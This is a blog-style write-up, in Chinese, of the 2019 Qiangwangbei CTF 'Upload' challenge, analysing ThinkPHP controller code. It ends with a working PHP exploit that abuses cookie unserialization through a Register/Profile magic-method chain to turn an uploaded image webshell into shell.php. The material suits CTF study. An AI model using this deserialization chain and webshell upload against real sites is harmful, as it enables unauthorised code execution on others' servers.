[强网杯 2019]Upload

网页的基本功能是注册-登录-传图片
./www.zip.tar可得到源代码
thinkphp框架
和上传图片有关的函数在Profile.php

public function upload_img(){
        if($this->checker){
            if(!$this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                $this->redirect($curr_url,302);
                exit();
            }
        }

        if(!empty($_FILES)){
            $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
            $this->filename=md5($_FILES['upload_file']['name']).".png";
            $this->ext_check();
        }
        if($this->ext) {
            if(getimagesize($this->filename_tmp)) {
                @copy($this->filename_tmp, $this->filename);
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }
    }

有两个需要绕的地方:对文件名进行png后缀拼接,和getimagesize检测图片。后者是很容易绕的,弄个图片马就行,前者暂时不知道。。
题目源码是由idea缓存文件的,用phpstorm打开有两个断点提示。然而电脑并没装phpstorm,也懒得装了xddd
首先就是Index.php有反序列化的注入点

public function login_check(){
        $profile=cookie('user');
        if(!empty($profile)){
            $this->profile=unserialize(base64_decode($profile));
            $this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
            if(array_diff($this->profile_db,$this->profile)==null){
                return 1;
            }else{
                return 0;
            }
        }
    }

反序列化的利用方式大体就两种:重写属性和重写方法。这里反序列化之后没有调用其方法,所以就是重写属性,借助魔术方法搞事情。魔术方法存在于Register.php/Profile.php
相关代码(只贴了魔术方法)
Register.php

<?php
namespace app\web\controller;
use think\Controller;

class Register extends Controller
{
    public $checker;
    public $registed;

    public function __construct()
    {
        $this->checker=new Index();
    }
    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }


}

Profile.php

<?php
namespace app\web\controller;

use think\Controller;

class Profile extends Controller
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;

    public function __construct()
    {
        $this->checker=new Index();
        $this->upload_menu=md5($_SERVER['REMOTE_ADDR']);
        @chdir("../public/upload");
        if(!is_dir($this->upload_menu)){
            @mkdir($this->upload_menu);
        }
        @chdir($this->upload_menu);
    }

    public function upload_img(){
        if($this->checker){
            if(!$this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                $this->redirect($curr_url,302);
                exit();
            }
        }

        if(!empty($_FILES)){
            $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
            $this->filename=md5($_FILES['upload_file']['name']).".png";
            $this->ext_check();
        }
        if($this->ext) {
            if(getimagesize($this->filename_tmp)) {
                @copy($this->filename_tmp, $this->filename);
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }
    }

    public function __get($name)
    {
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

}

链子为:Register类的checker属性给他来个Profile,在Register调用__destruct的时候,依次调用Profile的__call->__get->upload_img
upload_img的第一个if控制属性绕过,第二个if不传文件就行。进入第三个if把事先传上去的图片马复制成php文件。exp如下

<?php
namespace app\web\controller;
class Register
{
    public $checker;
    public $registed=false;
    public function __construct(){
        $this->checker=new Profile();
    }
}
class Profile
{   
    public $checker=false;
    public $ext=true;
    public $filename_tmp = "./upload/cc551ab005b2e60fbdc88de809b2c4b1/249ebf7d9de9da37dff8f080629f40d3.png";
    public $filename = "./upload/shell.php";
    public $except=array('index'=>'upload_img');
}
echo urlencode(base64_encode(serialize(new Register())));
posted @ 2022-02-01 21:32  KingBridge  阅读(206)  评论(0编辑  收藏  举报